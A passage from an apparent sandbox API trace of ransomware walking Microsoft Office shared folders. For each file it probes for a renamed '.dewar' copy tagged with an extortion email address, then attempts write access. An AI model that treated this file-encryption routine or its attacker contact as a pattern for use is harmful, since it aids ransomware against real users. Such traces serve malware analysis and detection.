lpFileSize=0x2eefea0*=295663) returned 1 [0238.085] CloseHandle (hObject=0x1e4) returned 1 [0238.085] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_FR.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mswds_fr.lex")) returned 0x20 [0238.085] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_FR.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mswds_fr.lex")) returned 0x20 [0238.086] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_FR.LEX.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mswds_fr.lex.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0238.086] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_FR.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mswds_fr.lex"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0238.086] SetEvent (hEvent=0x118) returned 1 [0238.299] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\mcabout.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0238.299] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=11463) returned 1 [0238.300] CloseHandle (hObject=0x1e4) returned 1 [0238.300] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\mcabout.htm")) returned 0x20 [0238.300] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\mcabout.htm")) returned 0x20 [0238.300] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\mcabout.htm.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0238.300] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\mcabout.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0238.477] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\dates.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0238.478] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=8918) returned 1 [0238.478] CloseHandle (hObject=0x1e4) returned 1 [0238.478] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\dates.xml")) returned 0x20 [0238.478] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\dates.xml")) returned 0x20 [0238.478] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\dates.xml.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0238.479] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\dates.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0238.479] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\phone.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0238.480] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=1844) returned 1 [0238.481] CloseHandle (hObject=0x1e4) returned 1 [0238.481] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\phone.xml")) returned 0x20 [0238.481] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\phone.xml")) returned 0x20 [0238.481] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\phone.xml.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0238.481] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\phone.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0238.482] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0238.483] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=39017) returned 1 [0238.483] CloseHandle (hObject=0x1e4) returned 1 [0238.483] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.dat")) returned 0x20 [0238.483] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.dat")) returned 0x20 [0238.483] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.dat.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0238.484] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0238.484] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0238.485] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=2687) returned 1 [0238.485] CloseHandle (hObject=0x1e4) returned 1 [0238.485] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.xml")) returned 0x20 [0238.486] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.xml")) returned 0x20 [0238.486] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.xml.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0238.486] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0238.487] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\time.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0238.491] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=8564) returned 1 [0238.491] CloseHandle (hObject=0x1e4) returned 1 [0238.491] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\time.xml")) returned 0x20 [0238.492] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\time.xml")) returned 0x20 [0238.492] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\time.xml.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0238.492] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\time.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0238.492] SetEvent (hEvent=0x118) returned 1 [0238.493] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\basmla.xsl"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0238.494] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=227311) returned 1 [0238.494] CloseHandle (hObject=0x1e4) returned 1 [0238.494] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\basmla.xsl")) returned 0x20 [0238.494] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\basmla.xsl")) returned 0x20 [0238.494] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\basmla.xsl.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0238.494] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\basmla.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0238.495] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\metconv.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0238.498] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=110976) returned 1 [0238.498] CloseHandle (hObject=0x1e4) returned 1 [0238.498] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\metconv.dll")) returned 0x20 [0238.498] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\metconv.dll")) returned 0x20 [0238.498] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.DLL.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\metconv.dll.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0238.499] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\metconv.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0238.499] SetEvent (hEvent=0x118) returned 1 [0238.500] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\metconv.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0238.502] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=1183416) returned 1 [0238.502] CloseHandle (hObject=0x1e4) returned 1 [0238.503] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\metconv.txt")) returned 0x20 [0238.503] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\metconv.txt")) returned 0x20 [0238.503] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\metconv.txt.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0238.503] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\metconv.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0238.504] SetEvent (hEvent=0x118) returned 1 [0238.504] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\mofl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0238.507] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=364928) returned 1 [0238.507] CloseHandle (hObject=0x1e4) returned 1 [0238.507] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\mofl.dll")) returned 0x20 [0238.507] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\mofl.dll")) returned 0x20 [0238.508] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\mofl.dll.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0238.508] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\mofl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0238.508] SetEvent (hEvent=0x118) returned 1 [0238.509] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\mstag.tlb"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0238.512] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=13684) returned 1 [0238.512] CloseHandle (hObject=0x1e4) returned 1 [0238.512] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\mstag.tlb")) returned 0x20 [0238.512] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\mstag.tlb")) returned 0x20 [0238.512] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\mstag.tlb.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0238.513] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\mstag.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0238.513] SetEvent (hEvent=0x118) returned 1 [0238.513] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\SmartTagInstall.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\smarttaginstall.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0238.516] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=15744) returned 1 [0238.516] CloseHandle (hObject=0x1e4) returned 1 [0238.516] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\SmartTagInstall.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\smarttaginstall.exe")) returned 0x20 [0238.516] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\SmartTagInstall.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\smarttaginstall.exe")) returned 0x20 [0238.516] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\SmartTagInstall.exe.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\smarttaginstall.exe.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0238.517] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\SmartTagInstall.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\smarttaginstall.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0238.518] SetEvent (hEvent=0x118) returned 1 [0238.518] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\OSE.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\source engine\\ose.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0238.519] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=174440) returned 1 [0238.519] CloseHandle (hObject=0x1e4) returned 1 [0238.519] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\OSE.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\source engine\\ose.exe")) returned 0x20 [0238.519] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\OSE.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\source engine\\ose.exe")) returned 0x20 [0238.519] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\OSE.EXE.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\source engine\\ose.exe.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0238.519] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\OSE.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\source engine\\ose.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0238.520] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0238.615] GetFileSizeEx (in: hFile=0x1c0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=255) returned 1 [0238.615] CloseHandle (hObject=0x1c0) returned 1 [0238.615] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.htm")) returned 0x20 [0238.616] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.htm")) returned 0x20 [0238.616] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.htm.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0238.616] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0238.616] SetEvent (hEvent=0x118) returned 1 [0238.622] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0238.622] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=1074) returned 1 [0238.622] CloseHandle (hObject=0x1e0) returned 1 [0238.623] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.jpg")) returned 0x20 [0238.623] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.jpg")) returned 0x20 [0238.623] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.jpg.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0238.624] 